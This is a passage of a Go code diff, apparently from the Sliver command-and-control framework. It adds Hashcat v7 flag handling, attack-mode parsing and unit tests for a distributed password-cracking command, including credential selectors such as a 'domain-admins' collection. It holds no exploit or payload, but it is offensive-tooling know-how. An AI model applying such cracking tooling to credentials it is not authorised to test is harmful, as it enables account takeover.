if !flags.Changed("generate-rules-func-min") {
|
||||
req.GenerateRulesFunMin, _ = flags.GetUint32("generate-rules-fun-min")
|
||||
}
|
||||
if flags.Changed("generate-rules-func-min") || flags.Changed("generate-rules-fun-min") {
|
||||
value := req.GenerateRulesFunMin
|
||||
req.GenerateRulesFuncMinV7 = &value
|
||||
}
|
||||
req.GenerateRulesFunMax, _ = flags.GetUint32("generate-rules-func-max")
|
||||
if !flags.Changed("generate-rules-func-max") {
|
||||
req.GenerateRulesFunMax, _ = flags.GetUint32("generate-rules-fun-max")
|
||||
}
|
||||
if flags.Changed("generate-rules-func-max") || flags.Changed("generate-rules-fun-max") {
|
||||
value := req.GenerateRulesFunMax
|
||||
req.GenerateRulesFuncMaxV7 = &value
|
||||
}
|
||||
req.GenerateRulesFuncSel, _ = flags.GetString("generate-rules-func-sel")
|
||||
req.GenerateRulesSeed, _ = flags.GetInt32("generate-rules-seed")
|
||||
if flags.Changed("generate-rules-seed") && req.GenerateRulesSeed >= 0 {
|
||||
value := uint32(req.GenerateRulesSeed)
|
||||
req.GenerateRulesSeedV7 = &value
|
||||
}
|
||||
req.CustomCharset1, _ = flags.GetString("custom-charset1")
|
||||
req.CustomCharset2, _ = flags.GetString("custom-charset2")
|
||||
req.CustomCharset3, _ = flags.GetString("custom-charset3")
|
||||
req.CustomCharset4, _ = flags.GetString("custom-charset4")
|
||||
req.CustomCharset5, _ = flags.GetString("custom-charset5")
|
||||
req.CustomCharset6, _ = flags.GetString("custom-charset6")
|
||||
req.CustomCharset7, _ = flags.GetString("custom-charset7")
|
||||
req.CustomCharset8, _ = flags.GetString("custom-charset8")
|
||||
req.Identify, _ = flags.GetString("identify")
|
||||
req.IdentifyMode, _ = flags.GetBool("identify-mode")
|
||||
if req.IdentifyMode && (flags.Changed("hash-mode") || flags.Changed("hash-type")) {
|
||||
return nil, fmt.Errorf("--identify-mode and hash mode/type are mutually exclusive")
|
||||
}
|
||||
req.Increment, _ = flags.GetBool("increment")
|
||||
req.IncrementInverse, _ = flags.GetBool("increment-inverse")
|
||||
req.IncrementMin, _ = flags.GetUint32("increment-min")
|
||||
req.IncrementMax, _ = flags.GetUint32("increment-max")
|
||||
if flags.Changed("bypass-delay") {
|
||||
value, _ := flags.GetUint32("bypass-delay")
|
||||
req.BypassDelay = &value
|
||||
}
|
||||
if flags.Changed("bypass-threshold") {
|
||||
value, _ := flags.GetUint32("bypass-threshold")
|
||||
req.BypassThreshold = &value
|
||||
}
|
||||
req.SlowCandidates, _ = flags.GetBool("slow-candidates")
|
||||
req.BridgeParameter1, _ = flags.GetString("bridge-parameter1")
|
||||
req.BridgeParameter2, _ = flags.GetString("bridge-parameter2")
|
||||
req.BridgeParameter3, _ = flags.GetString("bridge-parameter3")
|
||||
req.BridgeParameter4, _ = flags.GetString("bridge-parameter4")
|
||||
req.BrainServer, _ = flags.GetBool("brain-server")
|
||||
req.BrainServerTimer, _ = flags.GetUint32("brain-server-timer")
|
||||
if flags.Changed("brain-server-timer") {
|
||||
value := req.BrainServerTimer
|
||||
req.BrainServerTimerV7 = &value
|
||||
}
|
||||
req.BrainClient, _ = flags.GetBool("brain-client")
|
||||
req.BrainClientFeatures, _ = flags.GetString("brain-client-features")
|
||||
if value, ok := parseUint32(req.BrainClientFeatures); ok {
|
||||
req.BrainClientFeaturesV7 = value
|
||||
}
|
||||
req.BrainHost, _ = flags.GetString("brain-host")
|
||||
req.BrainPort, _ = flags.GetUint32("brain-port")
|
||||
req.BrainPassword, _ = flags.GetString("brain-password")
|
||||
if flags.Changed("brain-password") {
|
||||
value := req.BrainPassword
|
||||
req.BrainPasswordV7 = &value
|
||||
}
|
||||
req.BrainSession, _ = flags.GetString("brain-session")
|
||||
if value, ok := parseHexUint32(req.BrainSession); ok {
|
||||
req.BrainSessionV7 = &value
|
||||
}
|
||||
req.BrainSessionWhitelist, _ = flags.GetString("brain-session-whitelist")
|
||||
if values, ok := parseHexUint32List(req.BrainSessionWhitelist); ok {
|
||||
req.BrainSessionWhitelistV7 = values
|
||||
}
|
||||
req.BrainFeed, _ = flags.GetBool("brain-feed")
|
||||
req.ColorCracked, _ = flags.GetBool("color-cracked")
|
||||
req.HashCopy, _ = flags.GetBool("hash-copy")
|
||||
req.EncryptWithPubkey, _ = flags.GetString("encrypt-with-pubkey")
|
||||
|
||||
return req, nil
|
||||
}
|
||||
@@ -214,6 +439,42 @@ func uintSliceToUint32(flags *pflag.FlagSet, name string) []uint32 {
|
||||
return out
|
||||
}
|
||||
|
||||
func parseUint32(raw string) (uint32, bool) {
|
||||
if raw == "" {
|
||||
return 0, false
|
||||
}
|
||||
value, err := strconv.ParseUint(raw, 10, 32)
|
||||
return uint32(value), err == nil
|
||||
}
|
||||
|
||||
func parseHexUint32(raw string) (uint32, bool) {
|
||||
raw = strings.TrimSpace(raw)
|
||||
if strings.HasPrefix(raw, "0x") || strings.HasPrefix(raw, "0X") {
|
||||
raw = raw[2:]
|
||||
}
|
||||
if raw == "" {
|
||||
return 0, false
|
||||
}
|
||||
value, err := strconv.ParseUint(raw, 16, 32)
|
||||
return uint32(value), err == nil
|
||||
}
|
||||
|
||||
func parseHexUint32List(raw string) ([]uint32, bool) {
|
||||
if raw == "" {
|
||||
return nil, false
|
||||
}
|
||||
parts := strings.Split(raw, ",")
|
||||
values := make([]uint32, 0, len(parts))
|
||||
for _, part := range parts {
|
||||
value, ok := parseHexUint32(part)
|
||||
if !ok {
|
||||
return nil, false
|
||||
}
|
||||
values = append(values, value)
|
||||
}
|
||||
return values, true
|
||||
}
|
||||
|
||||
func parseCrackAttackMode(raw string) (clientpb.CrackAttackMode, error) {
|
||||
if raw == "" {
|
||||
return clientpb.CrackAttackMode_STRAIGHT, nil
|
||||
@@ -231,14 +492,20 @@ func parseCrackAttackMode(raw string) (clientpb.CrackAttackMode, error) {
|
||||
return clientpb.CrackAttackMode_COMBINATION, nil
|
||||
case "bruteforce", "brute_force", "brute-force":
|
||||
return clientpb.CrackAttackMode_BRUTEFORCE, nil
|
||||
case "pcfg":
|
||||
return clientpb.CrackAttackMode_PCFG, nil
|
||||
case "hybrid_wordlist_mask":
|
||||
return clientpb.CrackAttackMode_HYBRID_WORDLIST_MASK, nil
|
||||
case "hybrid_mask_wordlist":
|
||||
return clientpb.CrackAttackMode_HYBRID_MASK_WORDLIST, nil
|
||||
case "generic":
|
||||
return clientpb.CrackAttackMode_GENERIC, nil
|
||||
case "association":
|
||||
return clientpb.CrackAttackMode_ASSOCIATION, nil
|
||||
case "no_attack", "none":
|
||||
return clientpb.CrackAttackMode_NO_ATTACK, nil
|
||||
case "hybrid":
|
||||
return clientpb.CrackAttackMode_HYBRID, nil
|
||||
default:
|
||||
return clientpb.CrackAttackMode_STRAIGHT, fmt.Errorf("unknown attack mode: %s", raw)
|
||||
}
|
||||
|
||||
@@ -0,0 +1,487 @@
|
||||
package crack
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
func TestBuildCrackCommandReadsKeyboardLayoutMapping(t *testing.T) {
|
||||
mapping := []byte("a A\nb B\n")
|
||||
path := filepath.Join(t.TempDir(), "keyboard.hckmap")
|
||||
if err := os.WriteFile(path, mapping, 0600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
cmd := &cobra.Command{Use: "crack-test"}
|
||||
bindCrackFlags(cmd.Flags())
|
||||
if err := cmd.Flags().Parse([]string{"--keyboard-layout-mapping=" + path}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
got, err := buildCrackCommand(cmd, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("buildCrackCommand() error = %v", err)
|
||||
}
|
||||
if !bytes.Equal(got.KeyboardLayoutMapping, mapping) {
|
||||
t.Fatalf("KeyboardLayoutMapping = %q, want file contents %q", got.KeyboardLayoutMapping, mapping)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildCrackCommandRejectsInvalidKeyboardLayoutMapping(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
path func(*testing.T) string
|
||||
want string
|
||||
}{
|
||||
{
|
||||
name: "missing",
|
||||
path: func(t *testing.T) string { return filepath.Join(t.TempDir(), "missing.hckmap") },
|
||||
want: "open keyboard layout mapping",
|
||||
},
|
||||
{
|
||||
name: "directory",
|
||||
path: func(t *testing.T) string { return t.TempDir() },
|
||||
want: "is not a regular file",
|
||||
},
|
||||
{
|
||||
name: "empty",
|
||||
path: func(t *testing.T) string {
|
||||
path := filepath.Join(t.TempDir(), "empty.hckmap")
|
||||
if err := os.WriteFile(path, nil, 0600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return path
|
||||
},
|
||||
want: "is empty",
|
||||
},
|
||||
{
|
||||
name: "too large",
|
||||
path: func(t *testing.T) string {
|
||||
path := filepath.Join(t.TempDir(), "large.hckmap")
|
||||
if err := os.WriteFile(path, make([]byte, maxKeyboardLayoutMappingBytes+1), 0600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return path
|
||||
},
|
||||
want: "exceeds",
|
||||
},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
cmd := &cobra.Command{Use: "crack-test"}
|
||||
bindCrackFlags(cmd.Flags())
|
||||
if err := cmd.Flags().Parse([]string{"--keyboard-layout-mapping=" + test.path(t)}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := buildCrackCommand(cmd, nil); err == nil || !strings.Contains(err.Error(), test.want) {
|
||||
t.Fatalf("buildCrackCommand() error = %v, want substring %q", err, test.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseCrackAttackMode(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
want clientpb.CrackAttackMode
|
||||
}{
|
||||
{name: "straight", want: clientpb.CrackAttackMode_STRAIGHT},
|
||||
{name: "combination", want: clientpb.CrackAttackMode_COMBINATION},
|
||||
{name: "bruteforce", want: clientpb.CrackAttackMode_BRUTEFORCE},
|
||||
{name: "pcfg", want: clientpb.CrackAttackMode_PCFG},
|
||||
{name: "hybrid-wordlist-mask", want: clientpb.CrackAttackMode_HYBRID_WORDLIST_MASK},
|
||||
{name: "hybrid-mask-wordlist", want: clientpb.CrackAttackMode_HYBRID_MASK_WORDLIST},
|
||||
{name: "generic", want: clientpb.CrackAttackMode_GENERIC},
|
||||
{name: "association", want: clientpb.CrackAttackMode_ASSOCIATION},
|
||||
{name: "no-attack", want: clientpb.CrackAttackMode_NO_ATTACK},
|
||||
{name: "hybrid", want: clientpb.CrackAttackMode_HYBRID},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
got, err := parseCrackAttackMode(test.name)
|
||||
if err != nil {
|
||||
t.Fatalf("parseCrackAttackMode(%q) returned error: %v", test.name, err)
|
||||
}
|
||||
if got != test.want {
|
||||
t.Fatalf("parseCrackAttackMode(%q) = %v, want %v", test.name, got, test.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildCrackCommandHashcatShortFlags(t *testing.T) {
|
||||
cmd := &cobra.Command{Use: "crack-test"}
|
||||
bindCrackFlags(cmd.Flags())
|
||||
if err := cmd.Flags().Parse([]string{"-a", "3", "-m", "1000"}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
got, err := buildCrackCommand(cmd, []string{"hash"})
|
||||
if err != nil {
|
||||
t.Fatalf("buildCrackCommand() error = %v", err)
|
||||
}
|
||||
if got.AttackMode != clientpb.CrackAttackMode_BRUTEFORCE {
|
||||
t.Fatalf("AttackMode = %s, want BRUTEFORCE", got.AttackMode)
|
||||
}
|
||||
if got.HashType != clientpb.HashType(1000) {
|
||||
t.Fatalf("HashType = %d, want 1000", got.HashType)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildCrackCommandHashcatV7Options(t *testing.T) {
|
||||
cmd := &cobra.Command{Use: "crack-test"}
|
||||
bindCrackFlags(cmd.Flags())
|
||||
args := []string{
|
||||
"--attack-mode=hybrid",
|
||||
"--hash-mode=0",
|
||||
"--input=first-input",
|
||||
"--input=second-input",
|
||||
"--stdin=stdin-data",
|
||||
"--advice-disable",
|
||||
"--status-timer=0",
|
||||
"--stdin-timeout-abort=0",
|
||||
"--restore-position",
|
||||
"--outfile=outfile.txt",
|
||||
"--outfile-json",
|
||||
"--debug-file=debug.txt",
|
||||
"--induction-dir=induction",
|
||||
"--outfile-check-dir=outfile-check",
|
||||
"--outfile-check-timer=0",
|
||||
"--truecrypt-keyfiles=truecrypt.keys",
|
||||
"--veracrypt-keyfiles=veracrypt.keys",
|
||||
"--veracrypt-pim-start=11",
|
||||
"--veracrypt-pim-stop=12",
|
||||
"--encoding-from=windows-1252",
|
||||
"--encoding-to=utf-8",
|
||||
"--hccapx-message-pair=0",
|
||||
"--nonce-error-corrections=0",
|
||||
"--benchmark-min=13",
|
||||
"--benchmark-max=14",
|
||||
"--pipeline-stats",
|
||||
"--task-time-breakdown",
|
||||
"--bitmap-min=0",
|
||||
"--bitmap-max=0",
|
||||
"--hash-info",
|
||||
"--hash-info-level=2",
|
||||
"--backend-info",
|
||||
"--backend-info-level=2",
|
||||
"--backend-devices-virtmulti=15",
|
||||
"--backend-devices-virthost=16",
|
||||
"--metal-compiler-runtime=17",
|
||||
"--multiply-accel-disable",
|
||||
"--hwmon-temp-abort=0",
|
||||
"--total-candidates",
|
||||
"--lookup=lookup-value",
|
||||
"--crackstation= station-one ",
|
||||
"--dynamic-x",
|
||||
"--seekdb-path=seekdb",
|
||||
"--rule-left=l",
|
||||
"--rule-right=r",
|
||||
"--rules-file=:",
|
||||
"--rules-file=$1",
|
||||
"--custom-charset5=cs5",
|
||||
"--custom-charset6=cs6",
|
||||
"--custom-charset7=cs7",
|
||||
"--custom-charset8=cs8",
|
||||
"--identify=legacy-input",
|
||||
"--increment-inverse",
|
||||
"--bypass-delay=18",
|
||||
"--bypass-threshold=19",
|
||||
"--bridge-parameter1=bridge1",
|
||||
"--bridge-parameter2=bridge2",
|
||||
"--bridge-parameter3=bridge3",
|
||||
"--bridge-parameter4=bridge4",
|
||||
"--scrypt-tmto=0",
|
||||
"--generate-rules-func-min=4",
|
||||
"--generate-rules-func-max=8",
|
||||
"--generate-rules-seed=0",
|
||||
"--brain-client-features=3",
|
||||
"--brain-password=",
|
||||
"--brain-server-timer=0",
|
||||
"--brain-session=deadbeef",
|
||||
"--brain-session-whitelist=1,2,0x3",
|
||||
"--brain-feed",
|
||||
"--color-cracked",
|
||||
"--hash-copy",
|
||||
"--encrypt-with-pubkey=key.pub",
|
||||
}
|
||||
if err := cmd.Flags().Parse(args); err != nil {
|
||||
t.Fatalf("parse flags: %v", err)
|
||||
}
|
||||
|
||||
got, err := buildCrackCommand(cmd, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("buildCrackCommand returned error: %v", err)
|
||||
}
|
||||
zero := uint32(0)
|
||||
want := &clientpb.CrackCommand{
|
||||
AttackMode: clientpb.CrackAttackMode_HYBRID,
|
||||
HashType: clientpb.HashType_INVALID,
|
||||
HashMode: &zero,
|
||||
Stdin: []byte("stdin-data"),
|
||||
AdviceDisable: true,
|
||||
StatusTimerV7: &zero,
|
||||
StdinTimeoutAbortV7: &zero,
|
||||
Outfile: "outfile.txt",
|
||||
DebugFile: "debug.txt",
|
||||
InductionDir: "induction",
|
||||
OutfileCheckDir: "outfile-check",
|
||||
OutfileCheckTimerV7: &zero,
|
||||
TruecryptKeyfiles: "truecrypt.keys",
|
||||
VeracryptKeyfiles: "veracrypt.keys",
|
||||
VeracryptPimStart: uint32Pointer(11),
|
||||
VeracryptPimStop: uint32Pointer(12),
|
||||
EncodingFromName: "windows-1252",
|
||||
EncodingToName: "utf-8",
|
||||
HccapxMessagePairV7: &zero,
|
||||
NonceErrorCorrectionsV7: &zero,
|
||||
RuleLeft: "l",
|
||||
RuleRight: "r",
|
||||
RulesFile: []byte(":"),
|
||||
RulesFilesV7: [][]byte{[]byte(":"), []byte("$1")},
|
||||
PipelineStats: true,
|
||||
TaskTimeBreakdown: true,
|
||||
BitmapMinV7: &zero,
|
||||
BitmapMaxV7: &zero,
|
||||
HashInfo: true,
|
||||
HashInfoLevel: 2,
|
||||
BackendInfo: true,
|
||||
BackendInfoLevel: 2,
|
||||
MetalCompilerRuntime: 17,
|
||||
RestorePosition: true,
|
||||
OutfileJSON: true,
|
||||
DynamicX: true,
|
||||
SeekDBPath: "seekdb",
|
||||
BenchmarkMin: 13,
|
||||
BenchmarkMax: uint32Pointer(14),
|
||||
BridgeParameter1: "bridge1",
|
||||
BridgeParameter2: "bridge2",
|
||||
BridgeParameter3: "bridge3",
|
||||
BridgeParameter4: "bridge4",
|
||||
BackendDevicesVirtMulti: 15,
|
||||
BackendDevicesVirtHost: 16,
|
||||
MultiplyAccelDisabled: true,
|
||||
HwmonTempAbortV7: &zero,
|
||||
TotalCandidates: true,
|
||||
Lookup: "lookup-value",
|
||||
Crackstation: "station-one",
|
||||
CustomCharset5: "cs5",
|
||||
CustomCharset6: "cs6",
|
||||
CustomCharset7: "cs7",
|
||||
CustomCharset8: "cs8",
|
||||
IncrementInverse: true,
|
||||
BypassDelay: uint32Pointer(18),
|
||||
BypassThreshold: uint32Pointer(19),
|
||||
ScryptTMTOV7: &zero,
|
||||
GenerateRulesFunMin: 4,
|
||||
GenerateRulesFunMax: 8,
|
||||
GenerateRulesFuncMinV7: uint32Pointer(4),
|
||||
GenerateRulesFuncMaxV7: uint32Pointer(8),
|
||||
GenerateRulesSeedV7: &zero,
|
||||
BrainClientFeatures: "3",
|
||||
BrainClientFeaturesV7: 3,
|
||||
BrainPasswordV7: stringPointer(""),
|
||||
BrainSession: "deadbeef",
|
||||
BrainSessionV7: uint32Pointer(0xdeadbeef),
|
||||
BrainServerTimerV7: &zero,
|
||||
BrainSessionWhitelist: "1,2,0x3",
|
||||
BrainSessionWhitelistV7: []uint32{1, 2, 3},
|
||||
BrainFeed: true,
|
||||
ColorCracked: true,
|
||||
HashCopy: true,
|
||||
EncryptWithPubkey: "key.pub",
|
||||
Identify: "legacy-input", //nolint:staticcheck // Verify the legacy positional operand remains populated for wire compatibility.
|
||||
PositionalArguments: []string{"first-input", "second-input"},
|
||||
}
|
||||
if !proto.Equal(got, want) {
|
||||
t.Fatal("buildCrackCommand() did not map the Hashcat v7 options as expected")
|
||||
}
|
||||
}
|
||||
|
||||
func uint32Pointer(value uint32) *uint32 {
|
||||
return &value
|
||||
}
|
||||
|
||||
func stringPointer(value string) *string {
|
||||
return &value
|
||||
}
|
||||
|
||||
func TestBuildCrackCommandBrainSessionsAreHexadecimal(t *testing.T) {
|
||||
cmd := &cobra.Command{Use: "crack-test"}
|
||||
bindCrackFlags(cmd.Flags())
|
||||
if err := cmd.Flags().Parse([]string{
|
||||
"--brain-session=10",
|
||||
"--brain-session-whitelist=10,20",
|
||||
}); err != nil {
|
||||
t.Fatalf("parse flags: %v", err)
|
||||
}
|
||||
|
||||
got, err := buildCrackCommand(cmd, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("buildCrackCommand returned error: %v", err)
|
||||
}
|
||||
if got.BrainSessionV7 == nil || *got.BrainSessionV7 != 0x10 {
|
||||
t.Fatalf("BrainSessionV7 = %v, want 0x10", got.BrainSessionV7)
|
||||
}
|
||||
wantWhitelist := []uint32{0x10, 0x20}
|
||||
if !slices.Equal(got.BrainSessionWhitelistV7, wantWhitelist) {
|
||||
t.Fatalf("BrainSessionWhitelistV7 = %#v, want %#v", got.BrainSessionWhitelistV7, wantWhitelist)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildCrackCommandPreservesCommasInPositionalInputs(t *testing.T) {
|
||||
cmd := &cobra.Command{Use: "crack-test"}
|
||||
bindCrackFlags(cmd.Flags())
|
||||
if err := cmd.Flags().Parse([]string{
|
||||
"--input=hashes,2026.txt",
|
||||
"--input=?d?d,?l?l",
|
||||
}); err != nil {
|
||||
t.Fatalf("parse flags: %v", err)
|
||||
}
|
||||
|
||||
got, err := buildCrackCommand(cmd, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("buildCrackCommand returned error: %v", err)
|
||||
}
|
||||
want := []string{"hashes,2026.txt", "?d?d,?l?l"}
|
||||
if !slices.Equal(got.PositionalArguments, want) {
|
||||
t.Fatalf("PositionalArguments = %#v, want %#v", got.PositionalArguments, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildCrackCommandPreservesCommasInHashes(t *testing.T) {
|
||||
cmd := &cobra.Command{Use: "crack-test"}
|
||||
bindCrackFlags(cmd.Flags())
|
||||
if err := cmd.Flags().Parse([]string{
|
||||
"--hash=digest:salt,with,commas",
|
||||
"--hash=second:digest,salt",
|
||||
}); err != nil {
|
||||
t.Fatalf("parse flags: %v", err)
|
||||
}
|
||||
|
||||
got, err := buildCrackCommand(cmd, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("buildCrackCommand returned error: %v", err)
|
||||
}
|
||||
want := []string{"digest:salt,with,commas", "second:digest,salt"}
|
||||
if !slices.Equal(got.Hashes, want) {
|
||||
t.Fatalf("Hashes = %#v, want %#v", got.Hashes, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildCrackCommandRejectsConflictingRestoreModes(t *testing.T) {
|
||||
cmd := &cobra.Command{Use: "crack-test"}
|
||||
bindCrackFlags(cmd.Flags())
|
||||
if err := cmd.Flags().Parse([]string{"--restore-position", "--restore-show-command"}); err != nil {
|
||||
t.Fatalf("parse flags: %v", err)
|
||||
}
|
||||
|
||||
_, err := buildCrackCommand(cmd, nil)
|
||||
if err == nil || !strings.Contains(err.Error(), "mutually exclusive") {
|
||||
t.Fatalf("buildCrackCommand() error = %v, want restore conflict error", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildCrackCommandIdentifyHasNoImplicitHashType(t *testing.T) {
|
||||
cmd := &cobra.Command{Use: "crack-test"}
|
||||
bindCrackFlags(cmd.Flags())
|
||||
if err := cmd.Flags().Parse([]string{"--identify-mode", "--input=hashes.txt"}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
got, err := buildCrackCommand(cmd, nil)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got.HashType != clientpb.HashType_INVALID || got.HashMode != nil {
|
||||
t.Fatalf("identify command inherited hash mode/type: %#v", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildCrackCommandLegacyFlagAliases(t *testing.T) {
|
||||
cmd := &cobra.Command{Use: "crack-test"}
|
||||
bindCrackFlags(cmd.Flags())
|
||||
if err := cmd.Flags().Parse([]string{
|
||||
"--multiply-accel-disabled",
|
||||
"--generate-rules-fun-min=2",
|
||||
"--generate-rules-fun-max=6",
|
||||
}); err != nil {
|
||||
t.Fatalf("parse flags: %v", err)
|
||||
}
|
||||
|
||||
got, err := buildCrackCommand(cmd, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("buildCrackCommand returned error: %v", err)
|
||||
}
|
||||
if !got.MultiplyAccelDisabled || got.GenerateRulesFunMin != 2 || got.GenerateRulesFunMax != 6 {
|
||||
t.Fatalf("legacy aliases were not preserved: %#v", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildCrackCommandRejectsSegmentSize(t *testing.T) {
|
||||
cmd := &cobra.Command{Use: "crack-test"}
|
||||
bindCrackFlags(cmd.Flags())
|
||||
if err := cmd.Flags().Set("segment-size", "32"); err != nil {
|
||||
t.Fatalf("set segment-size: %v", err)
|
||||
}
|
||||
|
||||
_, err := buildCrackCommand(cmd, nil)
|
||||
if err == nil || !strings.Contains(err.Error(), "removed in Hashcat v7") {
|
||||
t.Fatalf("buildCrackCommand() error = %v, want Hashcat v7 removal error", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildCrackCommandCredentialSelectors(t *testing.T) {
|
||||
cmd := &cobra.Command{Use: "crack-test"}
|
||||
bindCrackFlags(cmd.Flags())
|
||||
if err := cmd.Flags().Parse([]string{
|
||||
"--credential= first-id ",
|
||||
"--credential=second-id",
|
||||
"--credential-collection= domain-admins ",
|
||||
"--include-cracked-credentials",
|
||||
}); err != nil {
|
||||
t.Fatalf("parse flags: %v", err)
|
||||
}
|
||||
|
||||
got, err := buildCrackCommand(cmd, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("buildCrackCommand returned error: %v", err)
|
||||
}
|
||||
if !slices.Equal(got.CredentialIDs, []string{"first-id", "second-id"}) {
|
||||
t.Fatalf("CredentialIDs = %#v", got.CredentialIDs)
|
||||
}
|
||||
if got.CredentialCollection != "domain-admins" {
|
||||
t.Fatalf("CredentialCollection = %q", got.CredentialCollection)
|
||||
}
|
||||
if !got.IncludeCrackedCredentials {
|
||||
t.Fatal("IncludeCrackedCredentials is false")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildCrackCommandRejectsEmptyCredential(t *testing.T) {
|
||||
cmd := &cobra.Command{Use: "crack-test"}
|
||||
bindCrackFlags(cmd.Flags())
|
||||
if err := cmd.Flags().Parse([]string{"--credential= "}); err != nil {
|
||||
t.Fatalf("parse flags: %v", err)
|
||||
}
|
||||
if _, err := buildCrackCommand(cmd, nil); err == nil || !strings.Contains(err.Error(), "cannot be empty") {
|
||||
t.Fatalf("buildCrackCommand error = %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildCrackCommandIncludeCrackedRequiresSelector(t *testing.T) {
|
||||
cmd := &cobra.Command{Use: "crack-test"}
|
||||
bindCrackFlags(cmd.Flags())
|
||||
if err := cmd.Flags().Parse([]string{"--include-cracked-credentials"}); err != nil {
|
||||
t.Fatalf("parse flags: %v", err)
|
||||
}
|
||||
if _, err := buildCrackCommand(cmd, nil); err == nil || !strings.Contains(err.Error(), "requires --credential") {
|
||||
t.Fatalf("buildCrackCommand error = %v", err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,270 @@
|
||||
package crack
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
)
|
||||
|
||||
const (
|
||||
maxCrackBackendInfoLevel uint32 = 2
|
||||
maxCrackHashInfoLevel uint32 = 2
|
||||
)
|
||||
|
||||
type crackInvocationMode uint8
|
||||
|
||||
const (
|
||||
crackInvocationDashboard crackInvocationMode = iota
|
||||
crackInvocationJob
|
||||
crackInvocationBackendInfo
|
||||
crackInvocationKeyspace
|
||||
crackInvocationTotalCandidates
|
||||
crackInvocationLookup
|
||||
crackInvocationIdentify
|
||||
crackInvocationHashInfo
|
||||
)
|
||||
|
||||
type crackInvocation struct {
|
||||
mode crackInvocationMode
|
||||
backendInfoLevel uint32
|
||||
hashInfoLevel uint32
|
||||
crackstation string
|
||||
}
|
||||
|
||||
type crackQueryModeSelection struct {
|
||||
mode crackInvocationMode
|
||||
flagName string
|
||||
}
|
||||
|
||||
var incompatibleCandidateQueryFlags = map[string]struct{}{
|
||||
"benchmark": {},
|
||||
"benchmark-all": {},
|
||||
"benchmark-min": {},
|
||||
"benchmark-max": {},
|
||||
"brain-client": {},
|
||||
"brain-client-features": {},
|
||||
"brain-feed": {},
|
||||
"brain-host": {},
|
||||
"brain-password": {},
|
||||
"brain-port": {},
|
||||
"brain-server": {},
|
||||
"brain-server-timer": {},
|
||||
"brain-session": {},
|
||||
"brain-session-whitelist": {},
|
||||
"left": {},
|
||||
"progress-only": {},
|
||||
"restore": {},
|
||||
"restore-file": {},
|
||||
"restore-position": {},
|
||||
"restore-show-command": {},
|
||||
"show": {},
|
||||
"speed-only": {},
|
||||
}
|
||||
|
||||
// classifyCrackInvocation separates terminal command modes from work that
|
||||
// belongs in the distributed crack queue. Backend information comes from the
|
||||
// registration snapshots; the remaining query modes execute synchronously on
|
||||
// one idle crackstation and never create a CrackJob.
|
||||
//
|
||||
//nolint:gocyclo // The ordered flag matrix keeps mutually exclusive query modes and their validation in one decision point.
|
||||
func classifyCrackInvocation(cmd *cobra.Command, args []string) (crackInvocation, error) {
|
||||
flags := cmd.Flags()
|
||||
backendInfo, _ := flags.GetBool("backend-info")
|
||||
backendInfoLevel, _ := flags.GetUint32("backend-info-level")
|
||||
backendInfoLevelChanged := flags.Changed("backend-info-level")
|
||||
hashInfo, _ := flags.GetBool("hash-info")
|
||||
hashInfoLevel, _ := flags.GetUint32("hash-info-level")
|
||||
hashInfoLevelChanged := flags.Changed("hash-info-level")
|
||||
keyspace, _ := flags.GetBool("keyspace")
|
||||
totalCandidates, _ := flags.GetBool("total-candidates")
|
||||
lookup, _ := flags.GetString("lookup")
|
||||
lookupChanged := flags.Changed("lookup")
|
||||
identify, _ := flags.GetBool("identify-mode")
|
||||
crackstation, _ := flags.GetString("crackstation")
|
||||
crackstation = strings.TrimSpace(crackstation)
|
||||
|
||||
if flags.Changed("crackstation") && crackstation == "" {
|
||||
return crackInvocation{}, fmt.Errorf("--crackstation cannot be empty")
|
||||
}
|
||||
if lookupChanged && lookup == "" {
|
||||
return crackInvocation{}, fmt.Errorf("--lookup cannot be empty")
|
||||
}
|
||||
|
||||
selections := make([]crackQueryModeSelection, 0, 6)
|
||||
if backendInfo || backendInfoLevelChanged {
|
||||
selections = append(selections, crackQueryModeSelection{mode: crackInvocationBackendInfo, flagName: "--backend-info"})
|
||||
}
|
||||
if keyspace {
|
||||
